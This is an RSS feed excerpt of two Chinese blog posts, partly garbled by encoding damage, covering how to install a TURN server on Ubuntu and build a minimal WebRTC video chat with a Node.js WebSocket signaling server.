]]>Ubuntu下安装TURN Server (rfc5766-turn-server)http://www.tkk7.com/linli/archive/2014/10/22/418935.html老林老林Wed, 22 Oct 2014 06:23:00 GMThttp://www.tkk7.com/linli/archive/2014/10/22/418935.htmlhttp://www.tkk7.com/linli/comments/418935.htmlhttp://www.tkk7.com/linli/archive/2014/10/22/418935.html#Feedback3http://www.tkk7.com/linli/comments/commentRss/418935.htmlhttp://www.tkk7.com/linli/services/trackbacks/418935.html在用WebRTCq行x通讯Ӟ需要ɋ览器进行P2P通讯Q但是由于NAT环境的复杂性,q不是所有情况下都能q行P2PQ这旉要TURN Server来帮助客L之间转发数据。rfc5766-turn-server是一个高性能的开源TURN Server实现?/div>
以下是在EC2上用Ubuntu操作pȝ安装rfc5766-turn-serverQ?/div>
1. 下蝲安装包:
$ wget http://ftp.cn.debian.org/debian/pool/main/r/rfc5766-turn-server/rfc5766-turn-server_3.2.4.4-1_amd64.deb
2. 安装Q?/div>
$ sudo apt-get update
$ sudo apt-get install gdebi-core
$ sudo gdebi rfc5766-turn-server_3.2.4.4-1_amd64.deb
安装完后Q在/usr/share/doc/rfc5766-turn-server下有很多文档可参考?/em>
3. 配置Q?/div>
$ sudo vi /etc/turnserver.conf
---------------------------------------
// 配置IPQEC2下需要配|listening-ip和external-ip
listening-ip=172.31.4.37
external-ip=54.223.149.60
// 当TURN Server用于WebRTCӞ必须使用long-term credential mechanism
lt-cred-mech
// 增加一个用?/div>
user=username1:password1
// 讑֮realm
realm=mycompany.org
---------------------------------------
4. 启动Q?/div>
sudo turnserver -c /etc/turnserver.conf --daemon
5. 服务启动后,在上一个WebRTCCZ中更改iceServers后测试:
"iceServers": [{
    "url": "stun:stun.l.google.com:19302"
}, {
    "url": "turn:54.223.149.60",
    "username": "username1",
    "credential": "password1"
}]
更多安装信息在:http://turnserver.open-sys.org/downloads/v3.2.4.4/INSTALL
rfc5766-turn-server当然也有STUN Server的能力,但是需要给它配|?个IPQ以帮助探测客户端所在NAT环境的行为,q里没有做?/div>

老林 2014-10-22 14:23 发表评论
]]>最单的WebRTCCZhttp://www.tkk7.com/linli/archive/2014/10/21/418910.html老林老林Tue, 21 Oct 2014 09:21:00 GMThttp://www.tkk7.com/linli/archive/2014/10/21/418910.htmlhttp://www.tkk7.com/linli/comments/418910.htmlhttp://www.tkk7.com/linli/archive/2014/10/21/418910.html#Feedback6http://www.tkk7.com/linli/comments/commentRss/418910.htmlhttp://www.tkk7.com/linli/services/trackbacks/418910.html
客户端代码:
<html>
<body>
    Local: <br>
    <video id="localVideo" autoplay></video><br>
    Remote: <br>
    <video id="remoteVideo" autoplay></video>

    <script>
        
// 仅仅用于控制哪一端的览器发起offerQ?号后面有值的一方发?/span>
        var isCaller = window.location.href.split('#')[1];

        
// 与信令服务器的WebSocketq接
        var socket = new WebSocket("ws://127.0.0.1:3000");

        
// stun和turn服务?/span>
        var iceServer = {
            
"iceServers": [{
                
"url""stun:stun.l.google.com:19302"
            }, {
                
"url""turn:numb.viagenie.ca",
                
"username""webrtc@live.com",
                
"credential""muazkh"
            }]
        };

        
// 创徏PeerConnection实例 (参数为null则没有iceserverQ即使没有stunserver和turnserverQ仍可在局域网下通讯)
        var pc = new webkitRTCPeerConnection(iceServer);

        
// 发送ICE候选到其他客户?/span>
        pc.onicecandidate = function(event){
            
if (event.candidate !== null) {
                socket.send(JSON.stringify({
                    
"event""_ice_candidate",
                    
"data": {
                        
"candidate": event.candidate
                    }
                }));
            }
        };

        
// 如果到媒体连接到本地Q将其绑定到一个video标签上输?/span>
        pc.onaddstream = function(event){
            document.getElementById('remoteVideo').src 
= URL.createObjectURL(event.stream);
        };

        
// 发送offer和answer的函敎ͼ发送本地session描述
        var sendOfferFn = function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({ 
                
"event""_offer",
                
"data": {
                    
"sdp": desc
                }
            }));
        },
        sendAnswerFn 
= function(desc){
            pc.setLocalDescription(desc);
            socket.send(JSON.stringify({ 
                
"event""_answer",
                
"data": {
                    
"sdp": desc
                }
            }));
        };

        
// 获取本地音频和视频流
        navigator.webkitGetUserMedia({
            
"audio"true,
            
"video"true
        }, 
function(stream){
            
//l定本地媒体到video标签用于输出
            document.getElementById('localVideo').src = URL.createObjectURL(stream);
            
//向PeerConnection中加入需要发送的?/span>
            pc.addStream(stream);
            
//如果是发h则发送一个offer信o
            if(isCaller){
                pc.createOffer(sendOfferFn, 
function (error) {
                    console.log('Failure callback: ' 
+ error);
                });
            }
        }, 
function(error){
            
//处理媒体创建失败错?/span>
            console.log('getUserMedia error: ' + error);
        });

        
//处理到来的信?/span>
        socket.onmessage = function(event){
            
var json = JSON.parse(event.data);
            console.log('onmessage: ', json);
            
//如果是一个ICE的候选,则将其加入到PeerConnection中,否则讑֮Ҏ的session描述Z递过来的描述
            if( json.event === "_ice_candidate" ){
                pc.addIceCandidate(
new RTCIceCandidate(json.data.candidate));
            } 
else {
                pc.setRemoteDescription(
new RTCSessionDescription(json.data.sdp));
                
// 如果是一个offerQ那么需要回复一个answer
                if(json.event === "_offer") {
                    pc.createAnswer(sendAnswerFn, 
function (error) {
                        console.log('Failure callback: ' 
+ error);
                    });
                }
            }
        };
    
</script>
</body>
</html>

实现WebRTCӞ信o服务器是必须的,它帮助客L之间q行沟通?br />q里使用Node.js的ws模块来实C个WebSocket服务作ؓ信o服务器。另外用express模块让它提供html面的访问?br />server.js代码如下Q?br />
var express = require('express'),
app = express(),
server = require('http').createServer(app);

server.listen(3000);

app.get('/', function(req, res) {
    res.sendfile(__dirname + '/webrtc.html');
});

var WebSocketServer = require('ws').Server,
wss = new WebSocketServer({server: server});

// 存储socket的数l,q里只能?个socketQ每ơ测试需要重启,否则会出?/span>
var wsc = [],
index = 1;

// 有socketq入
wss.on('connection', function(ws) {
    console.log('connection');

    // socket存入数组
    wsc.push(ws);

    // CҎsocket在数l中的下标,因ؓq个试E序只允?个socket
    // 所以第一个连入的socket存入0Q第二个q入的就是存?
    // otherIndex反着来,W一个socket的otherIndex下标?Q第二个socket的otherIndex下标?
    var otherIndex = index--,
    desc = null;

    if (otherIndex == 1) {
        desc = 'first socket';
    } else {
        desc = 'second socket';
    }

    // 转发收到的消?/span>
    ws.on('message', function(message) {
        var json = JSON.parse(message);
        console.log('received (' + desc + '): ', json);

        wsc[otherIndex].send(message, function (error) {
            if (error) {
                console.log('Send message error (' + desc + '): ', error);
            }
        });
    });
});

使用npm安装需要的模块后用node server.js启动服务?br />试时用Chrome览器:
W一个浏览器H口讉K面Qhttp://127.0.0.1:3000Q在弹出的提CZ允许使用摄像头和麦克风?br />W二个浏览器H口讉K面Qhttp://127.0.0.1:3000#trueQ?true表示它是一个发hQ在弹出的提CZ同样允许使用摄像头和麦克风?br />q时面中应当可以看?个画面,一个是本地的,一个是q端的?br />
代码中的IPE做调整后部|到外网Q即可在2个不同的地点讉Kq个面q行实时通讯?br />

微信订阅P
源文地址Q?a >http://blog.gopersist.com/2014/10/21/webrtc-simple/

老林 2014-10-21 17:21 发表评论
]]>
վ֩ģ壺 ŷպۺϰȥ| Ƶȫ| ձ岻Ļ| Ļѹۿַ| ƷƬҹɫ| ëƬ18ŮëƬѿ| ˳77777վ| ޸Ļ| ձ| ձĻ| þþƷav18| ˳߹ۿŹ | ȫ߲ëƬ| ޾Ʒtvþþþ| ۺѾƷþþ| avһas| 9ѾƷƵ߹ۿ| Ƶ߹ۿһ| Ƭ߹ۿѴȫ| ޳AVƬWWW| ˳վ߹ۿ| ĻѲ| ˳ɼ߲| ձһ岻| һѹۿƵ| AVרӰ | Ƶ| AVרAVëվ| 99re99reƵֻ| ۺϾþһ| ձѵӰһ| ȫƵ߹ۿѸ | þҹӰԺѹۿ| avר| aëƬa԰Ħ| ޵Ӱ߹ۿ| һþþþþþþ| һ뾫Ʒɫ| A߹ۿվȫ| AVƬ߹ۿ| պĻ|